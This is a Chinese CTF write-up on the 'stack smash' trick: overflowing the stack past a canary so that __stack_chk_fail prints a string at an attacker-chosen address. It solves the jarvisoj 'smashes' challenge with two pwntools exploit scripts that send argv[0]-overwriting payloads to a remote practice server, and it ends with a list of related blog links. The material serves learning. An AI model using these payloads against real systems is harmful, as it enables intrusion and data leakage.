花式栈溢出值stack smash
花式栈溢出值stack smash
原理:
在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail
函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{/* The loop is added only to keep gcc happy. */while (1)__libc_message (2, "*** %s ***: %s terminated\n",msg, __libc_argv[0] ?: "<unknown>");
}
所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail
函数中就会输出我们想要的信息。
jarvise oj —smashes
在main函数中我们发现的存在栈溢出的get()函数
同时我们又发现了类似flag的字符串,当然不是真正的flag
我们又发现了存在stack smash的函数,查看保护机制后发现也开启了canary,这就完全符合了我们的技巧,我们可以利用stack smash解题了
__小知识:当ELF文件比较小的时候,他的不同区段可能会被多次映射,也就是说flag可能有备份,gdb查找一下 __
我们发现了不可修改的flag地址。
在get函数输入的地方下断点,查看栈结构。找到偏移
exp:
计算偏移的:
from pwn import*
p=remote('pwn.jarvisoj.com',9877)
p.recvline("name?")
new_addr=0x400d21
payload='A'*0x218+p64(new_addr)
p.sendline(payload)
p.interactive()
既然argv[0]一定在栈上,那么覆盖足够长的栈空间均为flag的值 即可
from pwn import*
p=remote('pwn.jarvisoj.com',9877)
p.recvline("name?")
new_addr=0x400d21
payload=p64(new_addr)*100
p.sendline(payload)
p.interactive()
21
payload=p64(new_addr)*100
p.sendline(payload)
p.interactive()
花式栈溢出值stack smash相关推荐
- 花式栈溢出技巧----Stack smash
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#stack-smash 以前遇见过一次这种情况,但是是 ...
- 花式栈溢出技巧----stack pivoting/frame faking
学习文献:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic_rop/ https://www.jianshu.com/ ...
- 构造虚假栈帧 | 花式栈溢出
花式栈溢出技巧----stack pivoting/frame faking: https://blog.csdn.net/qq_42192672/article/details/83039125 C ...
- 花式栈溢出技巧之stack pivoting
原理 正如它描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后在相应位置进行ROP.一般来说,我们可能在下述情况使用劫持栈指针. 可以控制栈溢出的字节数较少,难以构造较长的ROP链. 开启了 ...
- 知识点讲解四:栈溢出(stack overflow)问题解决方案
在爬取某个网页的时候遇到了这个问题: Fatal Python error: Cannot recover from stack overflow 我问题所在:使用函数时递归调用次数过多(800左右会 ...
- 花式栈溢出技巧之frame faking
frame faking 构造一个虚假的栈帧来控制程序的执行流 原理 之前所讲的栈溢出不外乎两种方式: 控制程序EIP 控制程序EBP 其最终都是控制程序的执行流.在frame faking中,我们所 ...
- TOJ4309 表达式求值 stack
描述 Dr.Kong设计的机器人卡多掌握了加减法运算以后,最近又学会了一些简单的函数求值,比如,它知道函数min(20,23)的值是20 ,add(10,98) 的值是108等等.经过训练,Dr.Ko ...
- 花式栈溢出技巧----partial overwrite
学习资料:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/others/#partial-overwrite https://b ...
- 栈溢出之stack privot姿势学习
该技巧就是劫持栈指针到自己可以控制的内存,然后进行ROP,一般来说一下几种情形可以使用 栈溢出字节数较少,无法构造足够长的ROP链 程序开启了PIE保护,栈地址未知 将栈劫持到堆,利用堆漏洞 例 bo ...
最新文章
- 苹果禁止使用热更新 iOS开发程序员新转机来临
- 内容推荐 | 生信技术与前沿内容知识库
- 微信界面代码android,仿微信界面代码安卓版
- ORACLE之SPFILE与PFILE
- Hadoop----hdfs的基本操作
- UVa272-TeX中的引号
- ProcessExplore 最新版
- openssl 加密解密 指令_Shell openssl命令加密解密字符串
- 如何将docker 镜像上传到docker hub仓库
- 10、python图像识别库tesseract下载及配置
- 巩固知识体系!mysql变量类型
- Word邮件合并制作上百份薪酬变动通知书及日期格式处理技巧
- 翻译 | Learning React Without Using React Part 2
- easyui图标使用(查找)
- win10安装solidworks 注册机闪退的问题,转自知乎
- java 酒店系统_Java实现酒店客房管理系统
- 新浪微博维护工具 推兔刷积分
- js去除字符串中的空白字符(也可以去除其他字符串)
- 视频号账号定位怎么做?如何做微信视频号定位
- JLINK烧写U-boot到NAND Flash中